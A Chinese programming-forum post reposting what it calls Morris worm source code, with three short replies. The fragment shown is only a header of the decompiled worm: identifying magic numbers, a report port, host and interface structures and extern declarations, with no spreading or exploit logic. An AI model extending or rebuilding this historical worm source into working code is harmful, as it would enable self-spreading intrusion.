鱼C论坛

 找回密码
 立即注册
查看: 7306|回复: 3

[好文转载] 莫里斯蠕虫源代码

[复制链接]
发表于 2015-11-10 23:34:56 | 显示全部楼层 |阅读模式

马上注册,结交更多好友,享用更多功能^_^

您需要 登录 才可以下载或查看,没有账号?立即注册

x
  1. /* Magic numbers the program uses to identify other copies of itself. */
  2. #define REPORT_PORT 0x2c5d
  3. #define MAGIC_1 0x00148898
  4. #define MAGIC_2 0x00874697
  5. extern int pleasequit;/* This stops the program after one
  6. * complete pass if set. It is incremented
  7. * inside of checkother if contact with another
  8. * happens. */

  9. /* There are pieces of "stub" code, presumably from something like this to
  10. get rid of error messages */
  11. #define error()

  12. /* This appears to be a structure unique to this program. It doesn't seem that
  13. * the blank slots are really an array of characters for the hostname, but
  14. * maybe they are.
  15. */
  16. struct hst {
  17. char *hostname;
  18. int l4, l8, l12, l16, l20, l24, o28, o32, o36, o40, o44;
  19. int o48[6];/* used */
  20. int flag;/* used */
  21. #define HST_HOSTEQUIV8
  22. #define HST_HOSTFOUR4
  23. #define HST_HOSTTWO2
  24. struct hst *next;/* o76 */
  25. };

  26. typedef struct {
  27. char *name;
  28. unsigned long size;
  29. char *buf;
  30. } object;

  31. extern struct ifses {
  32. int if_l0, if_l4, if_l8, if_l12; /* unused */
  33. int if_l16;/* used */
  34. int if_l20;/* unused */
  35. int if_l24;/* used */
  36. short if_l28;/* unused */
  37. } ifs[];
  38. extern nifs;

  39. extern int ngateways;

  40. extern object objects[], *getobjectbyname();
  41. extern int nobjects;

  42. /* Only used for a2in(). Why? I don't know. */
  43. struct bar {int baz;};
  44. extern struct bar *a2in();
复制代码

评分

参与人数 1荣誉 +3 鱼币 +5 收起 理由
~风介~ + 3 + 5 感谢楼主无私奉献!

查看全部评分

想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复

使用道具 举报

发表于 2016-7-6 22:21:07 | 显示全部楼层
谢谢分享
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复 支持 反对

使用道具 举报

发表于 2016-7-7 15:11:57 | 显示全部楼层
看不懂啊
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复 支持 反对

使用道具 举报

发表于 2016-7-7 21:20:30 | 显示全部楼层
这病毒特性是什么……
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|手机版|Archiver|鱼C工作室 ( 粤ICP备18085999号-1 | 粤公网安备 44051102000585号)

GMT+8, 2024-4-19 13:58

Powered by Discuz! X3.4

© 2001-2023 Discuz! Team.

快速回复 返回顶部 返回列表